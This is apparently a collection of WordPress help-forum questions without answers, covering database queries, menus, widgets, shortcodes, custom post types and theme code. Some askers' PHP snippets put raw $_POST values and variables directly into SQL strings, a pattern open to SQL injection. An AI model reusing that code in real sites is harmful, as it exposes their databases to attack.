I am trying to fetch a record of date from table `booking_history` with bellow code but the result array not displaying any record from `start_date` column. when i echo the query query displaying value accurately.               $booking_date = $_POST['booking_date'];          $post_id = $_POST['post_id'];          echo $check_cust_query = "SELECT start_date FROM `".$wpdb->prefix."booking_history`                             WHERE start_date='".$booking_date."'                             AND post_id='".$post_id."'";                           $results_check_cust = $wpdb->get_results ($check_cust_query);                     print_r ($results_check_cust);                     foreach ( $results_check_cust as $key => $value )                         {                            $date= $value->start_date;                           echo  $date;                         }       Bellow is table structure ![table](http://i.stack.imgur.com/SQrsi.png)


Explanation of this hacked code

Hi I found some new code in the wp-config.php file of one of my sites, it seems to have been placed there by a hacker, anyone can explain what it does? http://pastebin.com/fdMJCAXw


CSS images don't show up with bloginfo

I'm new to WP and PHP and I'm trying to convert my 'old' HTML theme into a WP theme. I created my index.php page and linked it to the style.css. I have some images in the css and, from what I've read, I've understood that I have to change my image url so that instead of having:               background-image: url(../assets/Logo.png);      I would have               background-image: url("<?php bloginfo('template_directory'); ?>/assets/Logo.png");      So I made this change on all the urls but when the index loads, even though every CSS element is fine, the images don't appear. However, if I revert them to the html url, the CSS doesn't display at all. And finally, if I have just one bloginfo url in the css and all the others are hmtl, the html ones will load, but the php one won't. I've changed bloginfo to get_bloginfo (as some suggested) but still no solving. I went through all the parameters related to the path (template_url, stylesheet_directory), but still no change. I would really appreciate some suggestions or explanations. Thanks a lot!


Must permalinks always point to single post pages?

Suppose that I have a blog with few posts per month, and no comments, and I don't want to show posts in single post pages, but always "in context" (say, together with the posts in its month - or perhaps a week?). To accomplish this, I'd need to use permalinks with fragment identifiers (#), among other things. I wonder if this is supported, or if someone can point me to some resource or discussion. _Edited_ : I posted in my own answer the details of my implementation.


Conditional sidebar menu

I've created a menu for each section of the site, and I'd like the sidebar to only show the relevant menu to pages in a section, so the 'About' page and its children receive the about menu and the 'Advice' page and its children the advice menu, and so on and so forth. I've got this working for parent pages but I can't get it working with their children. I've tried various suggestions from around the internet but nothing seems to work correctly. This code:               <?php if(is_page('advice')){             wp_nav_menu( array( 'theme_location' => 'advice-menu' ) );     } ?>      gets the correct menu in the correct section, but I need to extend it to cover child pages as well. All menus are properly registered in both functions.php and Appearance > Menus and both the parent and child pages are all using the same page template.


I have a widget area in my header. How can I have that display a different widget depending on what group is shown? So if uses are in a group about say Baseball in the site Header in my theme the Widget on Baseball shows up but if the user is in a group on Golf then the header shows a widget I have for Golf? Can this be done?


What is wp_check_invalid_utf8?

The following function checks _option_ , if *blog_charset* is not utf8, than return original _string_. What is the purpose of this?               function sc_check_invalid_utf8( $string, $strip = false ) {         $string = (string) $string;              if ( 0 === strlen( $string ) ) {             return '';         }              // Store the site charset as a static to avoid multiple calls to get_option()         static $is_utf8;         if ( !isset( $is_utf8 ) ) {             $is_utf8 = in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) );         }         if ( !$is_utf8 ) {             return $string;         }              ......              return '';     }


what's different between esc_attr, htmlspecialchars and htmlentities

Can I simply use htmlspecialchars instead of esc_attr?


post count is wrong when using same taxonomy for 2 different CPT

1 custom taxonomy registered for 2 different CPT (custom post type). When i entered to edit tag section on edit- tags.php?taxonomy=mytaxonomy&post_type=cpt1 it displays total post count of 2 different CPT. Is there any way to fix that?


Looking for a good way to include php code in posts, but using special include markup rather than direct php code

Ok, bit of a weird one... I want to include php code on one of my pages within the content by adding something like:               Welcome to the payment page     [paymentform]          Blash blah vlha...      And then [paymentform] resolves to a bit of code either somewhere on the filesystem or within the database and handled by a settings page in the backend. I didn't want to use the exec-php plugin for several reasons - mainly I don't want our client messing with the php code, secondly there are limitations using that with the visual editor etc..etc.. Cheers, John.


WordPress Menu Custom Walker Class

We are using a jQuery UI accordian to render a menu in the sidebar. We've already written the markup and javascript and I am just trying to get the wp_nav_menu to output the same markup we've already written. I am creating a custom Walker Class extending Walker_Nav_Menu. Here is the markup we are going for
Parent Item

Child Item 1

Child Item 2

Child Item 3

Child Item 4

Child Item 5

Parent Item 2

Child Item 1

Child Item 2

Child Item 3

Child Item 4

Child Item 5

      Unfortunately I cannot get the custom Walker Class to output the markup how I'd like. Any examples or tutorials on the Walker Class would be great. Still haven't found exactly what I'm looking for on SE or Google yet. Thanks


Code Formatted with SyntaxHighlighter Evolved Appearing Incorrectly on iPad/iPhone

I have just started a programming blog and I am using the SyntaxHightlighter Evolved plugin to format my code. On most browsers this is working just fine. However if I attempt to view the site from either an iPhone or iPad the line numbers and code are no longer aligned. Basically the problem seems to be that the line numbers and code fonts are sized independently (see image below). I assumed _somebody_ else must have seen the problem so I consulted The Mightly Oracle Google, but could not seem to find anything relevant. I have also searched this site to no avail. Being a programmer I looked at the source code, but realized that it would take me some time to understand how it works and fix the problem. I am using Wordpress version 3.1.2 with the Twenty Ten theme version 1.2 I have the following plugins active:   * Google Analytics for WordPress version 4.1   * SyntaxHighlighter version 3.1.1 Has anybody else seen (an hopefully fixed) this problem? Or could some kind soul point me in the right direction? If you need to see the website there is a link in my profile to it. I don't want to link-spam ;-) Thanks in advance! UPDATE: 5/17/2011 I thought I had found a solution but, while it solved the problem on the iPad, it remained an issue on the iPhone. So the bounty is still up for grabs. ![Syntax Highlighter Evolved](http://i.stack.imgur.com/tiz4n.png)


pass error to admin_notices on "quick edit"/save_post action

I currently have `add_action('admin_notices','my_notice_function');` updating correctly whenever a page is refreshed (it's checking if a certain page has a certain parent) but when using the "Quick Edit" my admin_notices is not fired. When trying to hook the same function into `add_action('save_post','my_notice_function'));` it breaks the formatted table and doesn't display the error message in the normal `admin_notices` section at the top of the page. Any help would be greatly appreciated. Code, as it stands:               public function init() {       add_action('admin_notices','page_check');       add_action('save_post','page_check');     }          public function page_check(){            if(PluginCommon::verifyPages('error')){         ?>

A problem has been detected.

<?php echo PluginCommon::verifyPages('error'); ?>

         <?php        }     }


different class (css) for sidebar widgets

I want to add different class (css) in widgets in site sidebar . For example: First widget in Sidebar -> class=sidebar-top1 Second widget in Sidebar -> class=sidebar-top2 third widget in Sidebar -> class=sidebar-top3               i want to add class in <div> tag.      how i can to do?


PHP variable in WordPress database query

When running the following code :               $voucher = 'MK0186';     $is_in_database = $wpdb->get_results( "SELECT * FROM my_codes_table WHERE code =" . $voucher );      I get : WordPress database error: [Unknown column 'MK0186' in 'where clause']. I don't understand why.


Get Terms for Page

I'm trying to retrieve the terms of a page's custom taxonomy. When I'm in a post this works just fine:               $args=array('orderby' => 'none');     $terms = wp_get_post_terms( $post->ID , 'custom_taxonomy', $args);      But this won't work on a page. I've tried also with: **get_the_terms** & **wp_get_object_terms** But they don't seem to work. BTW, I'm using a hierarchical taxonomy. Thanks for any help in seeing the light ;-)


Multiple Wordpress Blogs on one host, using 1 WordPress installation, using multiple templates

Hay, I was wondering if this is possible. I have a company called dotty. The domain for this company is dotty.com. However, my company has many subcompanies (company_1, company_2). Is it possible using WordPress to manage all these subcompanies within one WordPress installation? Each company needs to have it's own template, and the URL's will end up something like this               dotty.com     dotty.com/company_1     dotty.com/company_2      and i can manage them all from               dotty.com/wp-admin


Turn off %postname% auto-incrementing?

I use the permalink structure /%post_id%/%postname% because I have user submitted content. The problem is that %postname% still auto-increments itself and looks funny, even though the post id makes it unique. Is there a way to disable %postname% auto-incrementing? domain.com/634/apple-pie   domain.com/635/apple-pie-2   domain.com/636/apple-pie-3 should be: domain.com/634/apple-pie   domain.com/635/apple-pie   domain.com/636/apple-pie Bonus points if you can do this just for a specified custom post type.


query_post or single-[cpt].php?

php query_posts( 'post_type=listing'); Or single-listing.php? According to my reading I have presumed that to display a custom post type all I need to do is copy my single.php and rename it accordingly. It doesn't work for me and I just get the title. Should I persist, am I misunderstanding something or what might I be doing wrong. Or do I also need to use query_post?


Getting Warnings & Notices from Fresh WordPress 3.1.2 install

I just installed WordPress 3.1.2, I got > `Notice: automatic_feed_links is deprecated since version 3.0! Use > add_theme_support( 'automatic-feed-links' ) instead. in > /works/web/elements/wp-includes/functions.php on line 3303 I also got an error about Cannot open stream or something about `wp- cron.php?doing-cron` or something Its WordPress's own code, plus from a fresh install, this should not happen right? **UPDATE** The error I got was > `Warning: fopen(http://elements/wp-cron.php?doing_wp_cron): failed to open > stream: HTTP request failed! in /works/web/elements/wp-includes/class- > http.php on line 1063` Running WordPress 3.1.2 fresh install


Fall Back Google CDN in JavaScript

In HTML5 Boilerplate it Grab Google CDN's jQuery with this JS code               <!-- Grab Google CDN's jQuery, with a protocol relative URL; fall back to local if offline -->     <script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>     <script>window.jQuery || document.write('<script src="js/libs/jquery-1.7.1.min.js"><\/script>')</script>      I tried to transpose it to WP with this PHP code               function sbi_cdn_jquery()     {         global $wp_scripts;              wp_deregister_script('jquery');              echo '<script src="//ajax.googleapis.com/ajax/libs/jquery/' . $wp_scripts->registered['jquery']->ver . '/jquery.min.js"></script>';         echo '<script>window.jQuery || document.write(\'<script src="' . get_bloginfo('wpurl') . '/wp-includes/js/jquery/jquery.js"<\/script>\')</script>';     }     add_action( 'wp_enqueue_scripts', 'sbi_cdn_jquery' );      But this does not work ! Is this possible to fallBack Google CDN in JavaScript with WP ? Thank for your help.


How can I show some standard html code across any theme I install?

I have some custom code that sits inside `<head></head>`. When I install a new WordPress theme I have to edit the `header.php` script each time. Is there a way to always include my custom code inside the head tags even when installing a new WordPress theme?


Echo youtube code from url or shortcode

I want function that scan wordpress posts for youtube links or youtube shortcode and when found it, with regex selects only code from url (like '2SaZO4Gmfdc') and echo that code. For now, i edited one plugin that do exacly same this, but instead of echoing code, it echoes something like img.youtube.com/vi/2SaZO4Gmfdc/0.jpg So, for now, i have this code http://pastebin.com/6M70xpTX and it's not working, and plugins code that works is here pastebin.com/MX2fca96


Excluding post thumbnail from the attachment.php when using wordpress gallery

I am looking for this answer everywhere and can't find it. I setuo the wordpress default gallery using the attachment page which shows next and previous photos. everything is working fine and I have a loop of gallery with next and previous image post. now, inside the gallery page where I uploaded all the photos I also added a "featured image" for a reason that I am using. unfortunately, it added this photo to my gallery loop as the last photo. I would like to exlclude the "Featured Image" from showing anywhere in the gallery (I use it only for a certain purpose) I was looking at the code in the **attachment.php** and found this line which represents the photos:               <a href="<?php echo $next_attachment_url; ?>" title="<?php echo esc_attr( get_the_title() ); ?>" rel="attachment"><?php                                 $attachment_size = apply_filters( 'twentyten_attachment_size', 900 );                                 echo wp_get_attachment_image( $post->ID, array( $attachment_size, 9999 ) ); // filterable image width with, essentially, no limit for image height.                             ?>      I have no idea how to exclude it. can anyone help? any maybe function that does it? Thanks a lot Gil


How to Modify a Widgets UL and/or LI Classes

Im attempting to use twitter **UL** styles on a custom menu widget. For example, in BootStrap they have a Nav List Style for UL's

List header

Home

Library
         ...
      Which I am trying to integrate with a Custom Menu...

Home

About Us
             ...

      What I'd **like** to be able to do is add the classes to the UL **and** LI's, but I'm stumped. Please advise.


Why does modifying my functions.php file always result in a server error

Basically, every time I modify my functions.php file and reload it to the server my site "breaks" and nothing loads. As soon as I delete it, it starts working again. Now before anyone freaks out, I am using a child theme so I am not modifying the original theme. Specifically what I'm trying to do is modify the function twentytwelve_content_nav. and by modify I mean remove. I don't want the links underneath each post and above the comments at all. I've tried encasing the entire function in comment tags, the 'if' statement in comment tags, deleting various amounts of the code in attempts to do this but I always get the 'server error' page. I am new to this and kind of an amateur, I appreciate any help that is offered. Thank you


Conditional tag to show content in custom rss feed?

The wonderful answer here helped me create a custom RSS feed, and that's one major part done. I know that there's the **`is_feed`** conditional tag to show content only if it's a feed. But is there a conditional tag to show content only in my custom feed? If not, is there any other way to do it? ( **PS:** I want to change the output of Wordpress' built-in gallery in my custom feed.)


Way to organize content - custom taxonomies or other way?

I've spent hours trying to understand the custom taxonomies functionality, but still can't figure out how to use it for my situation. I have Restaurants. They can be a certain type of restaurant, and can be in a certain city. A restaurant can be more than one type but will not be in more than one city. I need to be able to display a list of restaurants by type, and then list them according to the city they're on. Basically: Chinese Restaurants page, and on that page is a list of cities, under each city is a list of Restaurant names with a link to their page. This particular restaurant can also appear in the Buffet Restaurants page etc. Any recommendations on the best way to set up a custom post type and custom taxonomies for this? Right now I have the restaurant post type, and restaurant type as the labels..... but after that I'm not sure where to go. How can I add cities to each of these, and then be able to list each one according to the city? This is what I have so far:               add_action('init', 'rest_register');          function rest_register() {          $labels = array(         'name' => _x('Restaurants', 'post type general name'),         'singular_name' => _x('Restaurant Type', 'post type singular name'),         'add_new' => _x('Add New', 'restaurant type'),         'add_new_item' => __('Add New Restaurant Type'),         'edit_item' => __('Edit Restaurant Type'),         'new_item' => __('New Restaurant Type'),         'view_item' => __('View Restaurant Type'),         'search_items' => __('Search Restaurants'),         'not_found' =>  __('Nothing found'),         'not_found_in_trash' => __('Nothing found in Trash'),         'parent_item_colon' => ''     );          $args = array(         'labels' => $labels,         'public' => true,         'publicly_queryable' => true,         'show_ui' => true,         'query_var' => true,         'rest_icon' => get_stylesheet_directory_uri() . '/rest-admin-icon.png',         'rewrite' => true,         'capability_type' => 'post',         'hierarchical' => true,         'menu_position' => null,         'supports' => array('title','editor','thumbnail')       );           register_post_type( 'restaurants' , $args );     }          /*end custom post type for menus*/          register_taxonomy("Restaurant Types", array("restaurants"), array("hierarchical" => true, "label" => "Restaurant Type", "singular_label" => "Restaurant Type", "rewrite" => true));


shortcode in a custom metabox

I am trying to add a shortcode from a plugin to my custom metabox. I have read it isn't the done thing but in this case i do need it to work. The client might not add a video but might add an image into it or something is so need to make sure it can still work for standard content. The issue I am having is that it is outputting just the shortcode like so - [youtube id="vfGZZJnoJ0U"] I have tried adding filters to my metabox but still showing that. This is my custom metabox setup:               add_action('add_meta_boxes', 'testimonials_meta_box');     function testimonials_meta_box() {         add_meta_box('testimonials_content_id', 'Testimonial Image/Video', 'testimonials_meta_box_cb', 'kleiser_testimonials', 'normal', 'high');     }          function testimonials_meta_box_cb($post) {         global $post;         wp_nonce_field('testimonial_content_nonce', 'testimonial_content_meta_box_nonce');         $values = get_post_custom($post->ID);              $left_content = isset($values['testimonial_content']) ? $values['testimonial_content'][0]: '';              wp_editor($left_content, 'testimonial-content');     }          function testimonial_content_save($post_id) {         if(defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) return;         if(!isset($_POST['testimonial_content_meta_box_nonce']) || !wp_verify_nonce($_POST['testimonial_content_meta_box_nonce'], 'testimonial_content_nonce')) return;         if(!current_user_can('edit_pages')) return;              if(isset($_POST['testimonial-content'])) {             update_post_meta($post_id, 'testimonial_content', $_POST['testimonial-content']);         }     }     add_action('save_post', 'testimonial_content_save');      The only odd thing I am doing is I am storing each posts value of the metabox in an array and then doing a for loop and outputting them. That code is: **Edit:** This is my template page which has all my code:
     <?php $wp_query = new WP_Query(array('post_type' => 'kleiser_testimonials', 'posts_per_page'=> -1 )); ?>     <?php if ($wp_query->have_posts()) :         $counter = 0;         $total = $wp_query->post_count;         $testimonialsContentArray = array();     ?>

             <?php while ($wp_query->have_posts()) : the_post(); ?>             <?php                 $media = get_post_meta(get_the_ID(), 'testimonial_content', true);             ?>             <?php array_push($testimonialsContentArray, array('id' => get_the_ID(), 'title' => get_the_title(), 'content' => get_the_content(), 'testimonialMedia' => $media )); ?>                  <div class='testimonial' data-id='<?php the_ID(); ?>'>
                     <?php                         if ( has_post_thumbnail() ) {                             the_post_thumbnail();                         }                       ?>

             <?php $counter++; ?>                  <?php if($counter % 5 == 0 || $counter == $total ): ?>
              <?php endif; ?>         <?php             foreach($testimonialsContentArray as $testimoninalContent) {         ?>             <div class='testimonial_details' data-testimonial='<?php echo $testimoninalContent['id']; ?>'>

                         <?php                             echo wpautop($testimoninalContent['testimonialMedia']);                         ?>

<?php echo $testimoninalContent['title'] ?>
                         <?php echo wpautop( $testimoninalContent['content'] ); ?>

         <?php             }         ?>         <?php //endif; ?>             <?php if($counter % 5 == 0 && $counter < $total ): ?>
                 <?php $testimonialsContentArray = array(); ?>             <?php endif; ?>         <?php endwhile; ?>

      I am scratching my head for quite some time and not working out why I can't get the shortcode to work. Any help would be really appreciated Thanks in advance


Search form not working on page templates

I have this on my searchform.php:               <div class="search searchform" role="search" method="get" id="searchform" action="<?php echo home_url(); ?>">         <form action="#">             <input type="text" placeholder="<?php _e("Search...", SOPRANO_THEME_NAME) ?>" name="s" id="s" value="<?php echo get_search_query(); ?>">         </form>
      And this on my search.php:               <?php get_header(); ?>
                 <?php                     $left_hand_menu = get_field("left_hand_menu", "option");                          if($left_hand_menu == false) :                 ?>                                      <?php get_template_part("includes/side-menu"); ?>
                     <?php get_template_part("includes/page-header"); ?>                          <?php endif; ?>                          <div class="content <?php if($left_hand_menu == true) : echo "no-horizontal-padding"; endif; ?>">                         <div class="<?php if($left_hand_menu == false) : echo "container-fluid no-horizontal-padding"; else : echo "container"; endif; ?>">                             <div class="articles albums <?php if($left_hand_menu == true) : echo "albums-2"; endif; ?>">
                                     <?php if(have_posts()) :                                          // Check the query variable is available                                     if(!$wp_query) global $wp_query; // If not, global it so it can be read from                                     // Your custom args                                     $args = array(                                         'posts_per_page' => -1,                                         'post_type' => array(                                             'song',                                             'album',                                             'event',                                             'artist',                                             'post',                                         ),                                     );                                     // Merge the custom args with any for the query already                                     $args = array_merge( $args , $wp_query->query );                                     // Now do the query                                     query_posts( $args );                                          while(have_posts()) : the_post(); ?>
                                         <?php                                              $song = get_field("song_preview");                                         $song_length = get_field("song_length");                                         $song_url = $song["url"];                                         $song_custom_url = get_field("song_custom_url");                                         $song_custom_url_bool = get_field("song_custom_url_bool");                                         $song_mime_type = $song["mime_type"];                                              $audio_extension = pathinfo($song_custom_url);                                              $data_song = "";                                              if(($song_custom_url_bool == false && $song_url && ($song_mime_type == "audio/mpeg" || $song_mime_type == "audio/wav")) || ($song_custom_url_bool == true && $song_custom_url && ($audio_extension["extension"] == "mp3" || $audio_extension["extension"] == "wav"))) {                                             if($song_custom_url_bool == false) {                                                 if($song_mime_type == "audio/mpeg" || $song_mime_type == "audio/wav") {                                                     $data_song = $song_url;                                                 }                                             } else {                                                 if($audio_extension["extension"] == "mp3" || $audio_extension["extension"] == "wav") {                                                     $data_song = $song_custom_url;                                                 }                                             }                                         }                                              ?>                                              <?php if(has_post_thumbnail()) : ?>                                         <a href="<?php the_permalink(); ?>" class="<?php if(get_post_type() == "song" && get_field("hide_home_page_player", "option") == false) : echo "has-audio"; endif; ?>" data-song="<?php if(get_post_type() == "song") : echo $data_song; endif; ?>">
                                                                                <?php                                                          $post_type = get_post_type();                                                          switch($post_type) {                                                         case "song":                                                             _e("Song", SOPRANO_THEME_NAME);                                                             break;                                                         case "album":                                                             _e("Album", SOPRANO_THEME_NAME);                                                             break;                                                         case "event":                                                             _e("Event", SOPRANO_THEME_NAME);                                                             break;                                                         case "artist":                                                             _e("Artist", SOPRANO_THEME_NAME);                                                             break;                                                         case "post";                                                             _e("Blog", SOPRANO_THEME_NAME);                                                             break;                                                     }                                                          ?>
                                                     <?php if(is_home() && get_post_type() == "song" && get_field("hide_home_page_player", "option") == false) : ?>

                                                     <?php else : ?>
View Details
                                                     <?php endif; ?>
                                                 <?php the_post_thumbnail("album-thumbnail"); ?>
                                                                                <?php else : ?>
                                             <?php the_excerpt(); ?>
                                         <?php endif; ?>
<a href="<?php the_permalink(); ?>"><?php the_title(); ?>
                                         <?php if(get_post_type() == "post") : ?>                                                                                <?php the_author(); ?>                                                                                <?php endif; ?>                                              <?php if(get_post_type() == "song") : ?>                                             <?php                                                  $song_author = get_field("song_author");                                             $song_custom_author = get_field("song_custom_author");                                             $song_custom_author_bool = get_field("song_custom_author_bool");                                             $song_author_count = count($song_author);                                                  if(($song_custom_author_bool == false && $song_author) || ($song_custom_author_bool == true && $song_custom_author)) :                                                  ?>                                                                                <?php if($song_custom_author_bool == false && $song_author) : ?>                                                     <?php                                                          $i = 1;                                                          foreach( $song_author as $post) {                                                         setup_postdata($post);                                                              echo "" . get_the_title() . "";                                                              if($i < $song_author_count) {                                                             echo ", ";                                                         }                                                              $i++;                                                     }                                                     wp_reset_postdata();                                                          ?>                                                 <?php endif; ?>                                                      <?php if($song_custom_author_bool == true && $song_custom_author) : ?>                                                 <?php echo $song_custom_author; ?>                                                 <?php endif; ?>                                                                                <?php endif; ?>                                         <?php endif; ?>                                              <?php if(get_post_type() == "album") : ?>                                             <?php                                                  $album_author = get_field("album_author");                                             $album_custom_author = get_field("album_custom_author");                                             $album_custom_author_bool = get_field("album_custom_author_bool");                                             $album_author_count = count($album_author);                                                  if(($album_custom_author_bool == false && $album_author) || ($album_custom_author_bool == true && $album_custom_author)) :                                                  ?>                                                                                <?php if($album_custom_author_bool == false && $album_author) : ?>                                                     <?php                                                          $i = 1;                                                          foreach( $album_author as $post) {                                                         setup_postdata($post);                                                              echo "" . get_the_title() . "";                                                              if($i < $album_author_count) {                                                             echo ", ";                                                         }                                                              $i++;                                                     }                                                     wp_reset_postdata();                                                          ?>                                                 <?php endif; ?>                                                      <?php if($album_custom_author_bool == true && $album_custom_author) : ?>                                                 <?php echo $album_custom_author; ?>                                                 <?php endif; ?>                                                                                <?php endif; ?>                                         <?php endif; ?>                                              <?php if(get_post_type() == "artist") : ?>                                                                                <?php                                                      $artist_location = get_field("artist_location");                                                      if($artist_location) :                                                      ?>                                                                                <?php echo $artist_location; endif; ?>                                                                                <?php endif; ?>                                              <?php if(get_post_type() == "event") : ?>                                                                                <?php                                                      $event_location = get_field("event_location");                                                      if($event_location) :                                                      ?>                                                                                <?php echo $event_location; endif; ?>                                                                                <?php endif; ?>
                                     <?php endwhile; else : ?>
<?php _e("We are sorry, but we couldn't find any album.", SOPRANO_THEME_NAME); ?>
                                     <?php endif; ?>

                 <?php if($left_hand_menu == false) : ?>
<?php endif; ?>
     <?php get_footer(); ?>      When I search from the home page, the search works great. When I search from a page template, the search doesn't work. Can somebody show me how can I fix this? Thanks.


Show custom post type in archive page by category

I create a custom post type name 'Blog' and Taxonomy is 'Category'. and i also create archive page 'archive-blog.php' to show all custom post. When i click 'mydomain.com/blog' show all custom post. All the post have some category. But my question how i show my custom post by category when i enter 'mydomain.com/blog/[my category name]', is not work. what is the valid url that show post only by category


How do I enqueue a JavaScript in my footer via the functions.php file?

Okay, so I'm well familiar with the way to properly enqueue a stylesheet or JavaScript in the WordPress header via the `functions.php` file. Recently though I came across a situation that has me puzzled. I want to setup this script on my WordPress site: customize-twitter-1.1. First I need to embed the Twitter JavaScript in my footer which is this code here:               <script>     !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];         if(!d.getElementById(id)){js=d.createElement(s);js.id=id;         js.src="//platform.twitter.com/widgets.js";         fjs.parentNode.insertBefore(js,fjs);}     }(document,"script","twitter-wjs");     </script>      Then I need to embed this JavaScript in the footer as well:               <script src="customize-twitter-1.1.min.js" type="text/javascript"></script>      Last but not least, I need to embed this code as well...               <script>      var options = {         "url": "/my-styles.css"      };      CustomizeTwitterWidget(options);     </script>      So far the code I've added to my `functions.php` file looks like this...               wp_register_script( 'twitter-customize', get_template_directory_uri() . '/js/customize-twitter-1.1.min.js', array(), '1.0', true );          wp_enqueue_script( 'twitter-customize' );      That code correctly enqueues one of the JavaScript files, I'm just unsure how I go about adding the others and on top of that adding them to the footer as well. Any input is appreciated, thanks guys!


fail to load /wp-admin/admin-ajax.php locally

I have the same problem as here, in that all ajax functionality has suddenly stopped working. In the browser dev tools it gives the error as failed to load resource for wp- admin/admin-ajax.php With the previous question the solution was that wp-engine had blocked access to admin-ajax.php, but in my case I'm working locally (with MAMP), and I'm not aware of any changes I've made that could affect it. I would have added a comment to the previous question but I don't have the points.


How to controll the Posts post type and general wondering about WP data structure

I want to:   * Control the name of the Posts post type, like I can with custom post types   * Set an archive page for posts e.g. example.com/posts, like with custom post types   * Control the archive slug, like I can for custom post types But I can't. I can create a new post type and `unregister_post_type('posts')`. Wait for it... I can't. Or can I somehow? This ticket addresses just that but the function `unregister_post_type` doesn't exist yet, right? What I can do is to hide Posts from the menu. But it's not removing them. I have to take two detours here. Wouldn't it be just great if the default post types could be controlled like custom post types? Anyone else feel the same? There's probably a reason for all this that I'm just not aware of. ![enter image description here](http://i.stack.imgur.com/uN8Rc.jpg) Thanks!


Is there a plugin that creates a WP post based on a Twitter account's hashtag?

I've found a myriad of plugins that tweets my posts or grabs tweets into a widget, or posts all tweets, but none that:   1. looks for a specific twitter @account's #hashtags and   2. creates a WP post    3. in a custom category `Tweet` (when specific #hashtag shows up) So Wordpress will look at Twitter @username tweets, doing nothing, waiting for a trigger in the form of the hashtag `#foo`. Then Wordpress will create a post in the category `bar`. Is there a plugin that does this, or will I have to code a function myself? Which I doubt I'll be able to do :/


How to order posts by custom WP role?

I currently have the following custom wp_query which displays posts from 2 custom WP roles, "custom_role_one" and "custom_role_two". It displays the posts from my custom post type of "listing". It works great but how can I modify this so that the posts are ordered by each role? For example, I would like all posts from "custom_role_one" to be displayed first and then all posts from "custom_role_two" to be listed second. As you can see, they are currently ordered by date.               <?php $custom_roles = get_users( array( 'role' => 'custom_role_one, custom_role_two' ) );                  $custom_ids = array();                  foreach( $custom_roles as $custom_role )                  $custom_ids[] = $custom_role->ID;                  $custom_role_query = new WP_Query( array( 'author' => implode( ',', $custom_ids ), 'post_type' => 'listing', 'posts_per_page' => 10, 'orderby' => 'date', 'order' => 'DESC',  'paged' => get_query_var('paged') ) );         ?>                <?php if ( $custom_role_query ->have_posts() ) : while ( $custom_role_query ->have_posts() ) : $custom_role_query ->the_post(); ?>                   <div id="post-<?php the_ID(); ?>">
<a href="<?php the_permalink() ?>"><?php the_title(); ?>

              <?php endwhile; endif; ?>              <?php wp_reset_postdata(); ?>


How to fork a plugin to avoid updates after modifications?

I have made some modifications on a plugin. While everything is now working as I like to have it, I am annoyed by the update notification. How can I fork the plugin such, that it I'd not linked anymore to the repository, but still uses all the settings from the database? Is it as easy as renaming only the folder and the php file, or there more required? Thanks. P.S.: license is GPL, so I think it is ok to do it...


Confused with the loop and repeating things

In my HTML mock up, the idea is to have a thumbnail side by side and I'm doing that by using this code:
          <img src="<?php print IMAGES; ?>/th1.png" class="img-thumbnail">     <img src="<?php print IMAGES; ?>/th2.png" class="img-thumbnail">     <img src="<?php print IMAGES; ?>/th3.png" class="img-thumbnail">     <img src="<?php print IMAGES; ?>/th4.png" class="img-thumbnail">     <img src="<?php print IMAGES; ?>/th5.png" class="img-thumbnail">     <img src="<?php print IMAGES; ?>/th6.png" class="img-thumbnail">     <img src="<?php print IMAGES; ?>/th7.png" class="img-thumbnail">     <img src="<?php print IMAGES; ?>/th8.png" class="img-thumbnail">     <img src="<?php print IMAGES; ?>/th3.png" class="img-thumbnail">     <img src="<?php print IMAGES; ?>/th5.png" class="img-thumbnail">     <img src="<?php print IMAGES; ?>/th2.png" class="img-thumbnail">

     <button type="button" class="btn btn-xs btn-warning">VER TODOS LOS ESTRENOS</button>
      Image here: ![HTML](http://i.stack.imgur.com/e4Rdy.png) However, when trying the same thing using wordpress everything goes weird, I need to "call" all posts from the clicked category and only bring the featured image, so each image is going to be aligned to each other side by side, like the HTML example above, what I'm using is this:               <?php if (have_posts()) :  while (have_posts()) : the_post(); ?>

          <?php the_post_thumbnail(array('class' => 'img-thumbnail')); ?>

     <button type="button" class="btn btn-xs btn-warning">VER TODOS LOS ESTRENOS</button>          <?php endwhile; else: ?>
<?php _e('No posts were found. Sorry!'); ?>

          <?php endif; ?>
      But is not working Looks like: ![Wordpress](http://i.stack.imgur.com/xyR8a.png) Any idea guys why this might be happening?


Edit profile custom fields display

I have function which shows additional info on edit profile page (just text no input fields). Problem is it works only for `user_login` and `user_email` - doesn't work for custom fields (fields are from one of frontend registration plugins). I'm able to get this info in the loop so theres no problem with custom fields. Can't make it work in edit profile page. Do I need to get user ID in a different way?               add_action( 'show_user_profile', 'my_show_extra_profile_fields' );     add_action( 'edit_user_profile', 'my_show_extra_profile_fields' );          function my_show_extra_profile_fields( $user ) { ?>
Dane firmy

Firma: <?php echo esc_attr( get_the_author_meta( 'nazwa_firmy', $user->ID ) ); ?>

Imię: <?php echo esc_attr( get_the_author_meta( 'first_name', $user->ID ) ); ?>

Nazwisko: <?php echo esc_attr( get_the_author_meta( 'last_name', $user->ID ) ); ?>

NIP: <?php echo esc_attr( get_the_author_meta( 'nip', $user->ID ) ); ?>

E-mail: <?php echo esc_attr( get_the_author_meta( 'user_email', $user->ID ) ); ?>

Login: <?php echo esc_attr( get_the_author_meta( 'user_login', $user->ID ) ); ?>
       <?php      }      Code of edit post hook which works:               add_action( 'edit_form_after_title', 'myprefix_edit_form_after_title' );          function myprefix_edit_form_after_title($post) {         if ($post->post_type != 'post') return;         global $post;         $author_id=$post->post_author;         $email = get_the_author_meta( 'user_email', $author_id);         $imie = get_the_author_meta( 'first_name', $author_id);         $nazwisko = get_the_author_meta( 'last_name', $author_id);         $nip = get_the_author_meta( 'nip', $author_id);         $login = get_the_author_meta( 'user_login', $author_id);         $firma = get_the_author_meta( 'nazwa_firmy', $author_id);       echo '
';         echo '
DANE FIRMY
';         echo 'Nazwa firmy: ', $firma;         echo '
Imię: ', $imie;         echo '
Nazwisko: ', $nazwisko;         echo '
NIP: ', $nip;         echo '
E-mail: ', $email;         echo '
Login: ', $login,'

';         echo '
OPIS OBOZU

';     }


gform_after_submission not working as expected

